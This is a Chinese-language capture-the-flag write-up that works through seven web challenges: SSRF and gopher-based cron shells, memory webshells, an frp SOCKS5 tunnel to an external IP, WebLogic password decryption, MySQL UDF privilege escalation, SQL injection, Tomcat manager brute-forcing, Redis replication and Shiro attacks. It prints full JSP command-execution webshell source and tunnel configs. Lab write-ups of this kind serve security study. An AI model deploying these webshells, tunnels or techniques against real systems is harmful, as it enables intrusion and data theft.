web1

flag1

SSRF,通过file任意文件读取

image1

flag2

抓包用dict协议探测出内网另一台主机ip

image2

通过gopher协议写定时任务getshell

image3

直接读取/dump.rdb

image4

flag3

flag在根目录下

image5

web2

flag1

写内存马

image6

蚁剑连上找到flag

image7

flag2

蚁剑上传文件好像有点问题,后面用了冰蝎

搭建frp

frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 60.204.245.37
server_port = 7000

[socks_proxy]
type = tcp
remote_port =6000
plugin = socks5

frps.ini

1
2
[common]
bindPort = 7000

查看jdbc的配置,获取SerializedSystemIni.dat和密码的密文

image8
image9

用工具解密得到密码明文

image10

navicat连接上在data表中找到flag

image11

flag3

MUDT连接上,UDF提权后找到根目录下的flag

image12

flag4(未解出)

一点思考:怀疑题目本意是mysql服务器上进行udf提权,因为/usr/lib64/mysql/plugin有写的权限。但是这个mysql服务是mysql用户起的,所以提权也仍然是mysql。由于mysql用户没有权限进行ICMP扫描,因此无法利用fscan探测内网状况,由是卡住于此 :(

web3

flag1

扫目录,发现heapdump泄露

image13

下下来读取找到flag

flag2

由上题得到数据库账号密码,连上即可得到flag

image14

web4

flag1

后台登陆页面sql注入,得到管理员账号密码

image15
image16
image17
image18

登陆进去后在添加文章模块处上传一句话木马,抓包绕过一下MIME

image19
image20

蚁剑连接得到flag

image21

web5

flag1

点击Manager App,抓包对账号密码进行爆破,得到tomcat/qwe123

jsp木马

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

将其打包成war上传部署

image22

执行命令得到flag

image23

web6

flag1

redis主从复制

image24

web7

flag1

弱口令nacos/nacos登录nacos,在配置详情中找到shiro key

image25

另一台主机一眼shiro,于是上shiro attack

image26
image27